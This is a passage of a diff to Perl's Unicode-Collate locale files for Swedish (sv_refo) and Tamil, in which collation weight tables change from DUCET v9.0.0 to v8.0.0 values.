DIAERESIS +0041 0308 ; [.1F12.0020.0008] # LATIN CAPITAL LETTER A WITH DIAERESIS +01DF ; [.1F12.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER A WITH DIAERESIS AND MACRON +01DE ; [.1F12.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER A WITH DIAERESIS AND MACRON +00E6 ; [.1F12.0021.0002] # LATIN SMALL LETTER AE +1DD4 ; [.1F12.0021.0002] # COMBINING LATIN SMALL LETTER AE +00C6 ; [.1F12.0021.0008] # LATIN CAPITAL LETTER AE +1D2D ; [.1F12.0021.0014] # MODIFIER LETTER CAPITAL AE +01FD ; [.1F12.0021.0002][.0000.0024.0002] # LATIN SMALL LETTER AE WITH ACUTE +01FC ; [.1F12.0021.0008][.0000.0024.0002] # LATIN CAPITAL LETTER AE WITH ACUTE +01E3 ; [.1F12.0021.0002][.0000.0032.0002] # LATIN SMALL LETTER AE WITH MACRON +01E2 ; [.1F12.0021.0008][.0000.0032.0002] # LATIN CAPITAL LETTER AE WITH MACRON +0119 ; [.1F12.0022.0002] # LATIN SMALL LETTER E WITH OGONEK +0065 0328 ; [.1F12.0022.0002] # LATIN SMALL LETTER E WITH OGONEK +0118 ; [.1F12.0022.0008] # LATIN CAPITAL LETTER E WITH OGONEK +0045 0328 ; [.1F12.0022.0008] # LATIN CAPITAL LETTER E WITH OGONEK +00F6 ; [.1F13.0020.0002] # LATIN SMALL LETTER O WITH DIAERESIS +006F 0308 ; [.1F13.0020.0002] # LATIN SMALL LETTER O WITH DIAERESIS +00D6 ; [.1F13.0020.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS +004F 0308 ; [.1F13.0020.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS +022B ; [.1F13.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER O WITH DIAERESIS AND MACRON +022A ; [.1F13.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER O WITH DIAERESIS AND MACRON +00F8 ; [.1F13.0021.0002] # LATIN SMALL LETTER O WITH STROKE +006F 0338 ; [.1F13.0021.0002] # LATIN SMALL LETTER O WITH STROKE +00D8 ; [.1F13.0021.0008] # LATIN CAPITAL LETTER O WITH STROKE +004F 0338 ; [.1F13.0021.0008] # LATIN CAPITAL LETTER O WITH STROKE +01FF ; [.1F13.0021.0002][.0000.0024.0002] # LATIN SMALL LETTER O WITH STROKE AND ACUTE +01FE ; [.1F13.0021.0008][.0000.0024.0002] # LATIN CAPITAL LETTER O WITH STROKE AND ACUTE +0151 ; [.1F13.0022.0002] # LATIN SMALL LETTER O WITH DOUBLE ACUTE +006F 030B ; [.1F13.0022.0002] # LATIN SMALL LETTER O WITH DOUBLE ACUTE +0150 ; [.1F13.0022.0008] # LATIN CAPITAL LETTER O WITH DOUBLE ACUTE +004F 030B ; [.1F13.0022.0008] # LATIN CAPITAL LETTER O WITH DOUBLE ACUTE +0153 ; [.1F13.0023.0002] # LATIN SMALL LIGATURE OE +0152 ; [.1F13.0023.0008] # LATIN CAPITAL LIGATURE OE +00F4 ; [.1F13.0024.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX +006F 0302 ; [.1F13.0024.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX +00D4 ; [.1F13.0024.0008] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX +004F 0302 ; [.1F13.0024.0008] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX +1ED3 ; [.1F13.0024.0002][.0000.0025.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND GRAVE +1ED2 ; [.1F13.0024.0008][.0000.0025.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND GRAVE +1ED1 ; [.1F13.0024.0002][.0000.0024.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND ACUTE +1ED0 ; [.1F13.0024.0008][.0000.0024.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND ACUTE +1ED7 ; [.1F13.0024.0002][.0000.002D.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND TILDE +1ED6 ; [.1F13.0024.0008][.0000.002D.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND TILDE +1ED5 ; [.1F13.0024.0002][.0000.003B.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND HOOK ABOVE +1ED4 ; [.1F13.0024.0008][.0000.003B.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND HOOK ABOVE +1ED9 ; [.1F13.0024.0002][.0000.0042.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND DOT BELOW +1ED8 ; [.1F13.0024.0008][.0000.0042.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND DOT BELOW ENTRY }; diff --git a/cpan/Unicode-Collate/Collate/Locale/sv_refo.pl b/cpan/Unicode-Collate/Collate/Locale/sv_refo.pl index 77c41b685ac3..363828ae3743 100644 --- a/cpan/Unicode-Collate/Collate/Locale/sv_refo.pl +++ b/cpan/Unicode-Collate/Collate/Locale/sv_refo.pl @@ -1,87 +1,87 @@ +{ - locale_version => 1.25, - entry => <<'ENTRY', # for DUCET v9.0.0 -0111 ; [.1C8F.0021.0002] # LATIN SMALL LETTER D WITH STROKE -0064 0335 ; [.1C8F.0021.0002] # LATIN SMALL LETTER D WITH STROKE -0110 ; [.1C8F.0021.0008] # LATIN CAPITAL LETTER D WITH STROKE -0044 0335 ; [.1C8F.0021.0008] # LATIN CAPITAL LETTER D WITH STROKE -00F0 ; [.1C8F.0022.0002] # LATIN SMALL LETTER ETH -1DD9 ; [.1C8F.0022.0002] # COMBINING LATIN SMALL LETTER ETH -00D0 ; [.1C8F.0022.0008] # LATIN CAPITAL LETTER ETH -00FE ; [.1E95.0020.0003][.1D18.0020.0003] # LATIN SMALL LETTER THORN -00DE ; [.1E95.0020.0009][.1D18.0020.0009] # LATIN CAPITAL LETTER THORN -00FC ; [.1F0B.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS -0075 0308 ; [.1F0B.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS -00DC ; [.1F0B.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS -0055 0308 ; [.1F0B.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS -01DC ; [.1F0B.0021.0002][.0000.0025.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE -01DB ; [.1F0B.0021.0008][.0000.0025.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE -01D8 ; [.1F0B.0021.0002][.0000.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE -01D7 ; [.1F0B.0021.0008][.0000.0024.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE -01D6 ; [.1F0B.0021.0002][.0000.0032.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND MACRON -01D5 ; [.1F0B.0021.0008][.0000.0032.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND MACRON -01DA ; [.1F0B.0021.0002][.0000.0028.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND CARON -01D9 ; [.1F0B.0021.0008][.0000.0028.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND CARON -0171 ; [.1F0B.0022.0002] # LATIN SMALL LETTER U WITH DOUBLE ACUTE -0075 030B ; [.1F0B.0022.0002] # LATIN SMALL LETTER U WITH DOUBLE ACUTE -0170 ; [.1F0B.0022.0008] # LATIN CAPITAL LETTER U WITH DOUBLE ACUTE -0055 030B ; [.1F0B.0022.0008] # LATIN CAPITAL LETTER U WITH DOUBLE ACUTE -00E5 ; [.1F96.0020.0002] # LATIN SMALL LETTER A WITH RING ABOVE -0061 030A ; [.1F96.0020.0002] # LATIN SMALL LETTER A WITH RING ABOVE -00C5 ; [.1F96.0020.0008] # LATIN CAPITAL LETTER A WITH RING ABOVE -0041 030A ; [.1F96.0020.0008] # LATIN CAPITAL LETTER A WITH RING ABOVE -212B ; [.1F96.0020.0008] # ANGSTROM SIGN -01FB ; [.1F96.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER A WITH RING ABOVE AND ACUTE -01FA ; [.1F96.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER A WITH RING ABOVE AND ACUTE -00E4 ; [.1F97.0020.0002] # LATIN SMALL LETTER A WITH DIAERESIS -0061 0308 ; [.1F97.0020.0002] # LATIN SMALL LETTER A WITH DIAERESIS -00C4 ; [.1F97.0020.0008] # LATIN CAPITAL LETTER A WITH DIAERESIS -0041 0308 ; [.1F97.0020.0008] # LATIN CAPITAL LETTER A WITH DIAERESIS -01DF ; [.1F97.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER A WITH DIAERESIS AND MACRON -01DE ; [.1F97.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER A WITH DIAERESIS AND MACRON -00E6 ; [.1F97.0021.0002] # LATIN SMALL LETTER AE -1DD4 ; [.1F97.0021.0002] # COMBINING LATIN SMALL LETTER AE -00C6 ; [.1F97.0021.0008] # LATIN CAPITAL LETTER AE -1D2D ; [.1F97.0021.0014] # MODIFIER LETTER CAPITAL AE -01FD ; [.1F97.0021.0002][.0000.0024.0002] # LATIN SMALL LETTER AE WITH ACUTE -01FC ; [.1F97.0021.0008][.0000.0024.0002] # LATIN CAPITAL LETTER AE WITH ACUTE -01E3 ; [.1F97.0021.0002][.0000.0032.0002] # LATIN SMALL LETTER AE WITH MACRON -01E2 ; [.1F97.0021.0008][.0000.0032.0002] # LATIN CAPITAL LETTER AE WITH MACRON -0119 ; [.1F97.0022.0002] # LATIN SMALL LETTER E WITH OGONEK -0065 0328 ; [.1F97.0022.0002] # LATIN SMALL LETTER E WITH OGONEK -0118 ; [.1F97.0022.0008] # LATIN CAPITAL LETTER E WITH OGONEK -0045 0328 ; [.1F97.0022.0008] # LATIN CAPITAL LETTER E WITH OGONEK -00F6 ; [.1F98.0020.0002] # LATIN SMALL LETTER O WITH DIAERESIS -006F 0308 ; [.1F98.0020.0002] # LATIN SMALL LETTER O WITH DIAERESIS -00D6 ; [.1F98.0020.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS -004F 0308 ; [.1F98.0020.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS -022B ; [.1F98.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER O WITH DIAERESIS AND MACRON -022A ; [.1F98.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER O WITH DIAERESIS AND MACRON -00F8 ; [.1F98.0021.0002] # LATIN SMALL LETTER O WITH STROKE -006F 0338 ; [.1F98.0021.0002] # LATIN SMALL LETTER O WITH STROKE -00D8 ; [.1F98.0021.0008] # LATIN CAPITAL LETTER O WITH STROKE -004F 0338 ; [.1F98.0021.0008] # LATIN CAPITAL LETTER O WITH STROKE -01FF ; [.1F98.0021.0002][.0000.0024.0002] # LATIN SMALL LETTER O WITH STROKE AND ACUTE -01FE ; [.1F98.0021.0008][.0000.0024.0002] # LATIN CAPITAL LETTER O WITH STROKE AND ACUTE -0151 ; [.1F98.0022.0002] # LATIN SMALL LETTER O WITH DOUBLE ACUTE -006F 030B ; [.1F98.0022.0002] # LATIN SMALL LETTER O WITH DOUBLE ACUTE -0150 ; [.1F98.0022.0008] # LATIN CAPITAL LETTER O WITH DOUBLE ACUTE -004F 030B ; [.1F98.0022.0008] # LATIN CAPITAL LETTER O WITH DOUBLE ACUTE -0153 ; [.1F98.0023.0002] # LATIN SMALL LIGATURE OE -0152 ; [.1F98.0023.0008] # LATIN CAPITAL LIGATURE OE -00F4 ; [.1F98.0024.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX -006F 0302 ; [.1F98.0024.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX -00D4 ; [.1F98.0024.0008] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX -004F 0302 ; [.1F98.0024.0008] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX -1ED3 ; [.1F98.0024.0002][.0000.0025.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND GRAVE -1ED2 ; [.1F98.0024.0008][.0000.0025.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND GRAVE -1ED1 ; [.1F98.0024.0002][.0000.0024.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND ACUTE -1ED0 ; [.1F98.0024.0008][.0000.0024.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND ACUTE -1ED7 ; [.1F98.0024.0002][.0000.002D.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND TILDE -1ED6 ; [.1F98.0024.0008][.0000.002D.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND TILDE -1ED5 ; [.1F98.0024.0002][.0000.003B.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND HOOK ABOVE -1ED4 ; [.1F98.0024.0008][.0000.003B.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND HOOK ABOVE -1ED9 ; [.1F98.0024.0002][.0000.0042.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND DOT BELOW -1ED8 ; [.1F98.0024.0008][.0000.0042.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND DOT BELOW + locale_version => 1.19, + entry => <<'ENTRY', # for DUCET v8.0.0 +0111 ; [.1C0A.0021.0002] # LATIN SMALL LETTER D WITH STROKE +0064 0335 ; [.1C0A.0021.0002] # LATIN SMALL LETTER D WITH STROKE +0110 ; [.1C0A.0021.0008] # LATIN CAPITAL LETTER D WITH STROKE +0044 0335 ; [.1C0A.0021.0008] # LATIN CAPITAL LETTER D WITH STROKE +00F0 ; [.1C0A.0022.0002] # LATIN SMALL LETTER ETH +1DD9 ; [.1C0A.0022.0002] # COMBINING LATIN SMALL LETTER ETH +00D0 ; [.1C0A.0022.0008] # LATIN CAPITAL LETTER ETH +00FE ; [.1E10.0020.0003][.1C93.0020.0003] # LATIN SMALL LETTER THORN +00DE ; [.1E10.0020.0009][.1C93.0020.0009] # LATIN CAPITAL LETTER THORN +00FC ; [.1E86.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS +0075 0308 ; [.1E86.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS +00DC ; [.1E86.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS +0055 0308 ; [.1E86.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS +01DC ; [.1E86.0021.0002][.0000.0025.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE +01DB ; [.1E86.0021.0008][.0000.0025.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE +01D8 ; [.1E86.0021.0002][.0000.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE +01D7 ; [.1E86.0021.0008][.0000.0024.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE +01D6 ; [.1E86.0021.0002][.0000.0032.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND MACRON +01D5 ; [.1E86.0021.0008][.0000.0032.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND MACRON +01DA ; [.1E86.0021.0002][.0000.0028.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND CARON +01D9 ; [.1E86.0021.0008][.0000.0028.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND CARON +0171 ; [.1E86.0022.0002] # LATIN SMALL LETTER U WITH DOUBLE ACUTE +0075 030B ; [.1E86.0022.0002] # LATIN SMALL LETTER U WITH DOUBLE ACUTE +0170 ; [.1E86.0022.0008] # LATIN CAPITAL LETTER U WITH DOUBLE ACUTE +0055 030B ; [.1E86.0022.0008] # LATIN CAPITAL LETTER U WITH DOUBLE ACUTE +00E5 ; [.1F11.0020.0002] # LATIN SMALL LETTER A WITH RING ABOVE +0061 030A ; [.1F11.0020.0002] # LATIN SMALL LETTER A WITH RING ABOVE +00C5 ; [.1F11.0020.0008] # LATIN CAPITAL LETTER A WITH RING ABOVE +0041 030A ; [.1F11.0020.0008] # LATIN CAPITAL LETTER A WITH RING ABOVE +212B ; [.1F11.0020.0008] # ANGSTROM SIGN +01FB ; [.1F11.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER A WITH RING ABOVE AND ACUTE +01FA ; [.1F11.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER A WITH RING ABOVE AND ACUTE +00E4 ; [.1F12.0020.0002] # LATIN SMALL LETTER A WITH DIAERESIS +0061 0308 ; [.1F12.0020.0002] # LATIN SMALL LETTER A WITH DIAERESIS +00C4 ; [.1F12.0020.0008] # LATIN CAPITAL LETTER A WITH DIAERESIS +0041 0308 ; [.1F12.0020.0008] # LATIN CAPITAL LETTER A WITH DIAERESIS +01DF ; [.1F12.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER A WITH DIAERESIS AND MACRON +01DE ; [.1F12.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER A WITH DIAERESIS AND MACRON +00E6 ; [.1F12.0021.0002] # LATIN SMALL LETTER AE +1DD4 ; [.1F12.0021.0002] # COMBINING LATIN SMALL LETTER AE +00C6 ; [.1F12.0021.0008] # LATIN CAPITAL LETTER AE +1D2D ; [.1F12.0021.0014] # MODIFIER LETTER CAPITAL AE +01FD ; [.1F12.0021.0002][.0000.0024.0002] # LATIN SMALL LETTER AE WITH ACUTE +01FC ; [.1F12.0021.0008][.0000.0024.0002] # LATIN CAPITAL LETTER AE WITH ACUTE +01E3 ; [.1F12.0021.0002][.0000.0032.0002] # LATIN SMALL LETTER AE WITH MACRON +01E2 ; [.1F12.0021.0008][.0000.0032.0002] # LATIN CAPITAL LETTER AE WITH MACRON +0119 ; [.1F12.0022.0002] # LATIN SMALL LETTER E WITH OGONEK +0065 0328 ; [.1F12.0022.0002] # LATIN SMALL LETTER E WITH OGONEK +0118 ; [.1F12.0022.0008] # LATIN CAPITAL LETTER E WITH OGONEK +0045 0328 ; [.1F12.0022.0008] # LATIN CAPITAL LETTER E WITH OGONEK +00F6 ; [.1F13.0020.0002] # LATIN SMALL LETTER O WITH DIAERESIS +006F 0308 ; [.1F13.0020.0002] # LATIN SMALL LETTER O WITH DIAERESIS +00D6 ; [.1F13.0020.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS +004F 0308 ; [.1F13.0020.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS +022B ; [.1F13.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER O WITH DIAERESIS AND MACRON +022A ; [.1F13.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER O WITH DIAERESIS AND MACRON +00F8 ; [.1F13.0021.0002] # LATIN SMALL LETTER O WITH STROKE +006F 0338 ; [.1F13.0021.0002] # LATIN SMALL LETTER O WITH STROKE +00D8 ; [.1F13.0021.0008] # LATIN CAPITAL LETTER O WITH STROKE +004F 0338 ; [.1F13.0021.0008] # LATIN CAPITAL LETTER O WITH STROKE +01FF ; [.1F13.0021.0002][.0000.0024.0002] # LATIN SMALL LETTER O WITH STROKE AND ACUTE +01FE ; [.1F13.0021.0008][.0000.0024.0002] # LATIN CAPITAL LETTER O WITH STROKE AND ACUTE +0151 ; [.1F13.0022.0002] # LATIN SMALL LETTER O WITH DOUBLE ACUTE +006F 030B ; [.1F13.0022.0002] # LATIN SMALL LETTER O WITH DOUBLE ACUTE +0150 ; [.1F13.0022.0008] # LATIN CAPITAL LETTER O WITH DOUBLE ACUTE +004F 030B ; [.1F13.0022.0008] # LATIN CAPITAL LETTER O WITH DOUBLE ACUTE +0153 ; [.1F13.0023.0002] # LATIN SMALL LIGATURE OE +0152 ; [.1F13.0023.0008] # LATIN CAPITAL LIGATURE OE +00F4 ; [.1F13.0024.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX +006F 0302 ; [.1F13.0024.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX +00D4 ; [.1F13.0024.0008] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX +004F 0302 ; [.1F13.0024.0008] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX +1ED3 ; [.1F13.0024.0002][.0000.0025.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND GRAVE +1ED2 ; [.1F13.0024.0008][.0000.0025.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND GRAVE +1ED1 ; [.1F13.0024.0002][.0000.0024.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND ACUTE +1ED0 ; [.1F13.0024.0008][.0000.0024.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND ACUTE +1ED7 ; [.1F13.0024.0002][.0000.002D.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND TILDE +1ED6 ; [.1F13.0024.0008][.0000.002D.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND TILDE +1ED5 ; [.1F13.0024.0002][.0000.003B.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND HOOK ABOVE +1ED4 ; [.1F13.0024.0008][.0000.003B.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND HOOK ABOVE +1ED9 ; [.1F13.0024.0002][.0000.0042.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND DOT BELOW +1ED8 ; [.1F13.0024.0008][.0000.0042.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND DOT BELOW ENTRY }; diff --git a/cpan/Unicode-Collate/Collate/Locale/ta.pl b/cpan/Unicode-Collate/Collate/Locale/ta.pl index 862c6c8ae9d8..d754993ed783 100644 --- a/cpan/Unicode-Collate/Collate/Locale/ta.pl +++ b/cpan/Unicode-Collate/Collate/Locale/ta.pl @@ -1,55 +1,55 @@ +{ - locale_version => 1.25, - entry => <<'ENTRY', # for DUCET v9.0.0 -0B82 ; [.27CE.0020.0002][.FFF0.0000.0000] # TAMIL SIGN ANUSVARA -0B83 ; [.27CE.0020.0002][.FFF1.0000.0000] # TAMIL SIGN VISARGA -0B95 0BCD 0BB7 0BCD ; [.27E5.0020.0002][.FFF2.0000.0000] # -0B95 0BCD 0BB7 ; [.27E5.0020.0002][.FFF3.0000.0000] # -0B95 0BCD ; [.27CF.0020.0002][.FFF0.0000.0000] # -0B95 ; [.27CF.0020.0002][.FFF1.0000.0000] # TAMIL LETTER KA -0B99 0BCD ; [.27D0.0020.0002][.FFF0.0000.0000] # -0B99 ; [.27D0.0020.0002][.FFF1.0000.0000] # TAMIL LETTER NGA -0B9A 0BCD ; [.27D1.0020.0002][.FFF0.0000.0000] # -0B9A ; [.27D1.0020.0002][.FFF1.0000.0000] # TAMIL LETTER CA -0B9E 0BCD ; [.27D2.0020.0002][.FFF0.0000.0000] # -0B9E ; [.27D2.0020.0002][.FFF1.0000.0000] # TAMIL LETTER NYA -0B9F 0BCD ; [.27D3.0020.0002][.FFF0.0000.0000] # -0B9F ; [.27D3.0020.0002][.FFF1.0000.0000] # TAMIL LETTER TTA -0BA3 0BCD ; [.27D4.0020.0002][.FFF0.0000.0000] # -0BA3 ; [.27D4.0020.0002][.FFF1.0000.0000] # TAMIL LETTER NNA -0BA4 0BCD ; [.27D5.0020.0002][.FFF0.0000.0000] # -0BA4 ; [.27D5.0020.0002][.FFF1.0000.0000] # TAMIL LETTER TA -0BA8 0BCD ; [.27D6.0020.0002][.FFF0.0000.0000] # -0BA8 ; [.27D6.0020.0002][.FFF1.0000.0000] # TAMIL LETTER NA -0BAA 0BCD ; [.27D7.0020.0002][.FFF0.0000.0000] # -0BAA ; [.27D7.0020.0002][.FFF1.0000.0000] # TAMIL LETTER PA -0BAE 0BCD ; [.27D8.0020.0002][.FFF0.0000.0000] # -0BAE ; [.27D8.0020.0002][.FFF1.0000.0000] # TAMIL LETTER MA -0BAF 0BCD ; [.27D9.0020.0002][.FFF0.0000.0000] # -0BAF ; [.27D9.0020.0002][.FFF1.0000.0000] # TAMIL LETTER YA -0BB0 0BCD ; [.27DA.0020.0002][.FFF0.0000.0000] # -0BB0 ; [.27DA.0020.0002][.FFF1.0000.0000] # TAMIL LETTER RA -0BB2 0BCD ; [.27DB.0020.0002][.FFF0.0000.0000] # -0BB2 ; [.27DB.0020.0002][.FFF1.0000.0000] # TAMIL LETTER LA -0BB5 0BCD ; [.27DC.0020.0002][.FFF0.0000.0000] # -0BB5 ; [.27DC.0020.0002][.FFF1.0000.0000] # TAMIL LETTER VA -0BB4 0BCD ; [.27DD.0020.0002][.FFF0.0000.0000] # -0BB4 ; [.27DD.0020.0002][.FFF1.0000.0000] # TAMIL LETTER LLLA -0BB3 0BCD ; [.27DE.0020.0002][.FFF0.0000.0000] # -0BB3 ; [.27DE.0020.0002][.FFF1.0000.0000] # TAMIL LETTER LLA -0BB1 0BCD ; [.27DF.0020.0002][.FFF0.0000.0000] # -0BB1 ; [.27DF.0020.0002][.FFF1.0000.0000] # TAMIL LETTER RRA -0BA9 0BCD ; [.27E0.0020.0002][.FFF0.0000.0000] # -0BA9 ; [.27E0.0020.0002][.FFF1.0000.0000] # TAMIL LETTER NNNA -0B9C 0BCD ; [.27E1.0020.0002][.FFF0.0000.0000] # -0B9C ; [.27E1.0020.0002][.FFF1.0000.0000] # TAMIL LETTER JA -0BB6 0BCD ; [.27E2.0020.0002][.FFF0.0000.0000] # -0BB6 ; [.27E2.0020.0002][.FFF1.0000.0000] # TAMIL LETTER SHA -0BB7 0BCD ; [.27E3.0020.0002][.FFF0.0000.0000] # -0BB7 ; [.27E3.0020.0002][.FFF1.0000.0000] # TAMIL LETTER SSA -0BB8 0BCD ; [.27E4.0020.0002][.FFF0.0000.0000] # -0BB8 ; [.27E4.0020.0002][.FFF1.0000.0000] # TAMIL LETTER SA -0BB9 0BCD ; [.27E5.0020.0002][.FFF0.0000.0000] # -0BB9 ; [.27E5.0020.0002][.FFF1.0000.0000] # TAMIL LETTER HA + locale_version => 1.19, + entry => <<'ENTRY', # for DUCET v8.0.0 +0B82 ; [.2741.0020.0002][.FFF0.0000.0000] # TAMIL SIGN ANUSVARA +0B83 ; [.2741.0020.0002][.FFF1.0000.0000] # TAMIL SIGN VISARGA +0B95 0BCD 0BB7 0BCD ; [.2758.0020.0002][.FFF2.0000.0000] # +0B95 0BCD 0BB7 ; [.2758.0020.0002][.FFF3.0000.0000] # +0B95 0BCD ; [.2742.0020.0002][.FFF0.0000.0000] # +0B95 ; [.2742.0020.0002][.FFF1.0000.0000] # TAMIL LETTER KA +0B99 0BCD ; [.2743.0020.0002][.FFF0.0000.0000] # +0B99 ; [.2743.0020.0002][.FFF1.0000.0000] # TAMIL LETTER NGA +0B9A 0BCD ; [.2744.0020.0002][.FFF0.0000.0000] # +0B9A ; [.2744.0020.0002][.FFF1.0000.0000] # TAMIL LETTER CA +0B9E 0BCD ; [.2745.0020.0002][.FFF0.0000.0000] # +0B9E ; [.2745.0020.0002][.FFF1.0000.0000] # TAMIL LETTER NYA +0B9F 0BCD ; [.2746.0020.0002][.FFF0.0000.0000] # +0B9F ; [.2746.0020.0002][.FFF1.0000.0000] # TAMIL LETTER TTA +0BA3 0BCD ; [.2747.0020.0002][.FFF0.0000.0000] # +0BA3 ; [.2747.0020.0002][.FFF1.0000.0000] # TAMIL LETTER NNA +0BA4 0BCD ; [.2748.0020.0002][.FFF0.0000.0000] # +0BA4 ; [.2748.0020.0002][.FFF1.0000.0000] # TAMIL LETTER TA +0BA8 0BCD ; [.2749.0020.0002][.FFF0.0000.0000] # +0BA8 ; [.2749.0020.0002][.FFF1.0000.0000] # TAMIL LETTER NA +0BAA 0BCD ; [.274A.0020.0002][.FFF0.0000.0000] # +0BAA ; [.274A.0020.0002][.FFF1.0000.0000] # TAMIL LETTER PA +0BAE 0BCD ; [.274B.0020.0002][.FFF0.0000.0000] # +0BAE ; [.274B.0020.0002][.FFF1.0000.0000] # TAMIL LETTER MA +0BAF 0BCD ; [.274C.0020.0002][.FFF0.0000.0000] # +0BAF ; [.274C.0020.0002][.FFF1.0000.0000] # TAMIL LETTER YA +0BB0 0BCD ; [.274D.0020.0002][.FFF0.0000.0000] # +0BB0 ; [.274D.0020.0002][.FFF1.0000.0000] # TAMIL LETTER RA +0BB2 0BCD ; [.274E.0020.0002][.FFF0.0000.0000] # +0BB2 ; [.274E.0020.0002][.FFF1.0000.0000] # TAMIL LETTER LA +0BB5 0BCD ; [.274F.0020.0002][.FFF0.0000.0000] # +0BB5 ; [.274F.0020.0002][.FFF1.0000.0000] # TAMIL LETTER VA +0BB4 0BCD ; [.2750.0020.0002][.FFF0.0000.0000] # +0BB4 ; [.2750.0020.0002][.FFF1.0000.0000] # TAMIL LETTER LLLA +0BB3 0BCD ; [.2751.0020.0002][.FFF0.0000.0000] # +0BB3 ; [.2751.0020.0002][.FFF1.0000.0000] # TAMIL LETTER LLA +0BB1 0BCD ; [.2752.0020.0002][.FFF0.0000.0000] # +0BB1 ; [.2752.0020.0002][.FFF1.0000.0000] # TAMIL LETTER RRA +0BA9 0BCD ; [.2753.0020.0002][.FFF0.0000.0000] # +0BA9 ; [.2753.0020.0002][.FFF1.0000.0000] # TAMIL LETTER NNNA +0B9C 0BCD ; [.2754.0020.0002][.FFF0.0000.0000] # +0B9C ; [.2754.0020.0002][.FFF1.0000.0000] # TAMIL LETTER JA +0BB6 0BCD ; [.2755.0020.0002][.FFF0.0000.0000] # +0BB6 ; [.2755.0020.0002][.FFF1.0000.0000] # TAMIL LETTER SHA +0BB7 0BCD ; [.2756.0020.0002][.FFF0.0000.0000] # +0BB7 ; [.2756.0020.0002][.FFF1.0000.0000] # TAMIL LETTER SSA +0BB8 0BCD ; [.2757.0020.0002][.FFF0.0000.0000] # +0BB8 ; 